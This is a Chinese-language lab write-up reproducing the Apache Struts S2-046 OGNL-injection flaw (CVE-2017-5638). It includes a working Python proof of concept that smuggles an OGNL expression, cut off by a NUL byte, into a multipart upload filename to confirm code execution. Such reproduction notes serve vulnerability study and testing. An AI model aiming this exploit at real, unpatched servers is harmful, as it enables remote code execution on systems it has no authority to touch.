S2-046 远程代码执行漏洞(CVE-2017-5638)

S2-046 远程代码执行漏洞(CVE-2017-5638)

受影响的版本:Struts 2.3.5 - Struts 2.3.31、Struts 2.5 - Struts 2.5.10

参考:

漏洞复现

容器运行后,访问http://192.168.44.132:8080可以看到上传页面的示例。

与 S2-045 相同,S2-046 也是 OGNL 注入,但发生在上传请求的文件名字段,需要一个 NUL 字节来拆分有效负载和剩余的字符串。

用于验证漏洞的简单 Python POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import socket

q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',7*7)}\x00b"
Content-Type: text/plain

foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
p = b'''POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Length: %d

'''.replace(b'\n', b'\r\n') % (len(q), )

with socket.create_connection(('192.168.44.132', '8080'), timeout=5) as conn:
conn.send(p + q)
print(conn.recv(10240).decode())

7*7已成功执行:

image-20220211151343524

0%